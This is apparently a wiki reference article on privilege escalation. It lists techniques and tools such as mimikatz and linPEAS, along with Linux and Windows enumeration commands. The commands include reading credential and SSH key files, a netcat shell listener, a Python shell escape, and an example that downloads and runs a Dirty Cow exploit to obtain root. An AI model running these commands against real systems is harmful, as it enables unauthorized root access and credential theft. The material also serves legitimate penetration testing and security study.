Privilege Escalation
Privilege Escalation[edit | edit source]
Privilege escalation is the process of gaining higher-level permissions or access within a system after an initial foothold has been established. It plays a critical role in post-exploitation, allowing an attacker to move from a limited user account to administrative or root-level access — often enabling lateral movement, persistence, or full system compromise.
Privilege escalation is typically divided into two categories: *vertical escalation* (gaining higher privileges) and *horizontal escalation* (gaining access to resources or accounts of equal privilege).
Privilege escalation is rarely a one-step action — it follows a structured process:
- Collect – Perform thorough enumeration across the system.
- Process – Organize and analyze the data to identify promising leads.
- Search – Identify known vulnerabilities and locate suitable exploit code.
- Adapt – Customize the exploit to match the specific environment.
- Try – Execute and iterate; exploitation often requires trial and error.
Operational Context[edit | edit source]
Privilege escalation typically follows successful Initial Access, especially when the initial compromise grants access only to limited user accounts.
This phase is crucial for:
- Achieving administrative control (root, SYSTEM)
- Enabling credential extraction and lateral movement
- Bypassing sandboxed or containerized environments
- Establishing persistence mechanisms (e.g., registry, startup tasks)
Vertical Privilege Escalation[edit | edit source]
Vertical escalation involves moving from a low-privileged account (e.g., www-data, local user) to a higher-privileged one (e.g., Administrator, SYSTEM, or root).
Common Techniques[edit | edit source]
- Exploiting kernel or driver vulnerabilities
- Abusing misconfigured SUID/SGID binaries (Linux)
- Misusing weak or world-writable service files
- Leveraging unquoted service paths (Windows)
- DLL hijacking or service misconfiguration
- Stealing credentials from memory or config files
- Abusing scheduled tasks or cron jobs
- Exploiting insecure file permissions or ownership
- Leveraging token impersonation or privilege tokens (Windows)
- Dumping and cracking password hashes
- Abusing Linux capabilities (e.g., cap_sys_admin)
- Escaping weakly isolated Docker or LXC containers
- Exploiting insecure ACLs or lack of integrity controls
Tools[edit | edit source]
- linPEAS (automated privilege escalation enumeration on Linux)
- winPEAS (automated privilege escalation enumeration on Windows)
- Seatbelt (Windows enumeration tool focused on privilege escalation)
- PowerUp (PowerShell tool for Windows privilege escalation)
- Watson (detects privilege escalation vectors on Windows)
- BeRoot (privilege escalation auditor for Linux, MacOS, and Windows)
- Linux Exploit Suggester (suggests kernel exploits)
- Windows Exploit Suggester (suggests local exploits for Windows)
- g0tmi1k's privesc checklist (manual enumeration and exploitation list)
Automated Exploitation Frameworks[edit | edit source]
- Metasploit (post modules for local privesc on Windows and Linux)
- Exploit-DB SearchSploit (search for local exploits by kernel or OS version)
- Evil-WinRM (post-exploitation over WinRM)
Horizontal Privilege Escalation[edit | edit source]
Horizontal escalation involves accessing other accounts, sessions, or resources at the same privilege level, typically through impersonation, session hijacking, or misconfigured file access.
Common Techniques[edit | edit source]
- Reading other users’ sensitive files due to improper permissions
- Accessing SSH keys, config files, or tokens
- Hijacking user sessions (e.g., TTY snooping or credential reuse)
- Exploiting insecure file-sharing configurations (e.g., SMB shares)
- Abuse of API tokens or database credentials found in cleartext
Tools[edit | edit source]
- pspy (monitors Linux processes to detect privilege-related activity)
- ls -la /home/ (manual check for exposed user data)
- ssh-agent hijacking scripts
- procmon (process monitor for live file and registry activity on Windows)
- mimikatz (extracts passwords, hashes, and tokens from memory)
Enumeration Checklists[edit | edit source]
Linux Enumeration Commands[edit | edit source]
Purpose | Command | Potential Use in Privilege Escalation |
---|---|---|
SUID/SGID binaries | find / -perm -4000 2>/dev/null |
May reveal misconfigured binaries that can be exploited for privilege escalation. |
Kernel version | uname -a |
Identifying vulnerable kernel versions that have known local privilege escalation exploits. |
Environment variables | env |
May expose sensitive paths or misconfigured variables usable in custom script execution. |
Running processes | ps aux |
Reveals running services or scripts running as root; useful for process injection or misconfigurations. |
Installed packages (Debian) | dpkg -l |
Can identify vulnerable software versions or unintended package installs. |
Installed packages (Red Hat) | rpm -qa |
Same as above, but for RPM-based systems. |
Writable directories | find / -writable 2>/dev/null |
Writable locations may allow backdoor placement, script replacement, or abuse in cron jobs. |
Cron jobs | cat /etc/crontab |
Look for jobs running as root or referencing writable scripts. |
User info | cat /etc/passwd |
Useful for identifying users, shell access, and potential privilege chaining. |
Group info | cat /etc/group |
Can show membership in sensitive groups like `sudo`, `docker`, or `adm`. |
OS version info (Generic) | cat /etc/issue |
Helps fingerprint system for targeted exploits. |
OS version info (All common release files) | cat /etc/*-release |
Same purpose — confirms distro and version for exploit matching. |
OS version (Debian based) | cat /etc/lsb-release |
Specifically useful for identifying Ubuntu/Debian versions. |
OS version (Red Hat based) | cat /etc/redhat-release |
Same, but for RHEL/CentOS systems. |
Kernel version & architecture | cat /proc/version # Shows detailed kernel version and build info
|
Used to identify kernel-specific vulnerabilities and tailor exploits to system architecture. |
Environment configuration files | cat /etc/profile # System-wide environment variables
|
Can reveal exposed credentials, custom paths, or insecure settings that can be leveraged for privilege escalation. |
Printer services | lpstat -a # Lists printers and their status
|
May indicate running printer daemons or services with elevated privileges that can be misused or are misconfigured. |
Running services & privileges | ps aux # Lists all running processes with associated users
|
Helps identify active services and their privilege levels, which may include insecure or unnecessary daemons. |
Root-owned services | grep root # Filters running processes owned by root
|
Useful for spotting services running as root that may be vulnerable or misconfigured — valuable targets for privilege escalation. |
Installed applications & versions | ls -alh /usr/bin/ # Lists applications and binaries in user path
|
Reveals software presence and versions — helpful for identifying vulnerable or exploitable programs that may be running. |
Service config files | cat /etc/syslog.conf # Syslog daemon configuration
|
Checking these can reveal misconfigured services, overly permissive settings, or vulnerable modules that open attack vectors. |
Scheduled jobs | crontab -l # List current user's cron jobs
|
Scheduled jobs may reveal tasks running as root, outdated scripts, or writable paths exploitable for privilege escalation. |
Plaintext credentials | grep -i user [filename] # Search for 'user' (case-insensitive)
|
These patterns help uncover stored plaintext usernames or passwords in misconfigured or insecure code and config files. |
Network interfaces | /sbin/ifconfig -a # Show all network interfaces and their status
|
Identifies available network interfaces and reveals if the system is connected to other networks — useful for lateral movement or pivoting. |
Network configuration | cat /etc/resolv.conf # Shows DNS servers
|
Helps reveal DNS, gateway, and firewall configuration — can indicate internal network structure and potential egress routes. |
Active connections & services | lsof -i # Lists open network connections
|
Reveals running services, user activity, and possible internal communication — useful for identifying targets or attack surfaces. |
Cached network data | arp -e # ARP table (IP ↔ MAC mappings)
|
Displays cached IP and MAC addresses and routing paths — may expose other systems on the network or paths for movement. |
Shell access & interaction | nc -lvp 4444 # Attacker. Input (Commands)
|
Establishing an interactive shell can allow full control of the compromised system, enabling command execution and data exfiltration. |
Tunneling & redirection | ssh -D 127.0.0.1:9050 -N [username]@[ip] # Create SOCKS proxy for local tunneling
|
Useful for pivoting through the network or anonymizing outbound traffic via local or remote tunneling. |
User identity & privilege | id # Show current user ID and group
|
Helps determine current privileges, available escalation paths, and visibility of other user accounts on the system. |
Sensitive files | cat /etc/passwd # User account information
|
These files can expose system users, password hashes, and private data if permissions are misconfigured or access is gained through privilege escalation. |
Home directory inspection | ls -ahlR /root/ # Recursively list all files in root's home directory
|
May reveal leftover files, misconfigured permissions, SSH keys, or credentials stored in plaintext. |
Password storage in known files | cat /var/apache2/config.inc # May contain hardcoded database credentials
|
These locations may store sensitive data such as database passwords or install-time credentials. |
User activity & command history | cat ~/.bash_history # Shell command history
|
Reviewing history files can expose credentials, database access, or other sensitive commands typed by the user. |
Local user information | cat ~/.bashrc # User shell configuration
|
These files may reveal environmental setups, messages with credentials, or scripts executed at login. |
SSH key & config files | cat ~/.ssh/authorized_keys # Allowed public keys for login
|
These files may expose private SSH keys, login credentials, or insecure configurations that enable unauthorized access. |
Writable config files in /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # World-writable files in /etc/
|
Writable configuration files may allow privilege escalation by altering service behavior or execution paths. |
Contents of /var/ | ls -alh /var/log # Logs from services and the system
|
These directories may hold logs, mail, databases, or cached network info that could leak sensitive data or credentials. |
Web directories and config files | ls -alhR /var/www/ # Default web root on many systems
|
Useful for discovering exposed config files, credentials, or sensitive content in hosted web applications. |
Log file inspection | cat /etc/httpd/logs/access_log # Apache access log
|
Reviewing log files may reveal usernames, passwords, visited URLs, session tokens, or useful paths for local file inclusion (LFI) or privilege escalation. |
Shell escape techniques | python -c 'import pty;pty.spawn("/bin/bash")' # Spawn interactive bash shell via Python
|
Useful for escaping restricted shells or limited environments to gain a fully interactive session. |
Mounted file-systems | mount # Show all currently mounted file systems
|
Reveals mounted volumes, file systems, and potential writable targets for persistence or data access. |
Unmounted file-systems | cat /etc/fstab # Configuration file for disk mounting at boot
|
Shows devices intended for mounting — may reveal hidden partitions, backup volumes, or encrypted containers. |
Advanced file permissions | find / -perm -1000 -type d 2>/dev/null # Sticky bit directories (e.g., /tmp)
|
SUID/SGID/sticky permissions are a common source of privilege escalation vectors, especially on older systems or misconfigured apps. |
Writable & executable directories | find / -writable -type d 2>/dev/null # World-writable directories
|
Identifies folders where an attacker can drop binaries or scripts for execution — commonly abused for persistence and privilege escalation. |
Problematic files & ownership | find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # World-writable dirs without sticky bit
|
These can indicate misconfigured permissions, abandoned files, or opportunities to tamper with files belonging to no defined user. |
Available dev tools & languages | find / -name perl* # Locate Perl installations
|
Identifying available programming environments allows exploit code to be compiled or interpreted locally — essential for privilege escalation via code execution. |
File upload capabilities | find / -name wget # Check for file download via wget
|
Discovering which tools are present for file transfer helps determine how exploits, scripts, or reverse shells can be delivered to the system. |
System patch level | apt-get update && apt-get upgrade # Update package lists and upgrade all packages (Debian-based)
|
Helps determine if the system has known vulnerabilities due to missing patches. Unpatched systems are often exploitable through public CVEs.
|
Windows Enumeration Commands[edit | edit source]
Purpose | Command |
---|---|
Whoami and privileges | whoami /priv
|
Local groups | net localgroup administrators
|
Services (CMD) | sc query
|
Services (PowerShell) | Get-Service
|
Startup registry keys | reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
|
Scheduled tasks | schtasks /query
|
Installed programs | wmic product get name
|
Environment variables | set
|
File permissions (CMD) | icacls
|
File permissions (Sysinternals) | accesschk
|
Example: Local Kernel Exploit (Linux)[edit | edit source]
# Download and compile local privilege escalation exploit (example: Dirty Cow variant)
wget https://www.exploit-db.com/download/40839 -O exploit.c
gcc exploit.c -o exploit
./exploit
# Output: spawns root shell if successful
Websites & References[edit | edit source]
- GTFOBins (trusted repo of SUID/privilege escalation via Linux binaries)
- LOLBAS (Living Off The Land Binaries and Scripts for Windows privilege escalation)
- hacktricks.xyz (comprehensive privilege escalation techniques for Linux and Windows)
- PEASS-ng GitHub (official PEAS suite repository)
- FuzzySecurity Windows Privesc Guide
- rebootuser's Linux privesc cheat sheet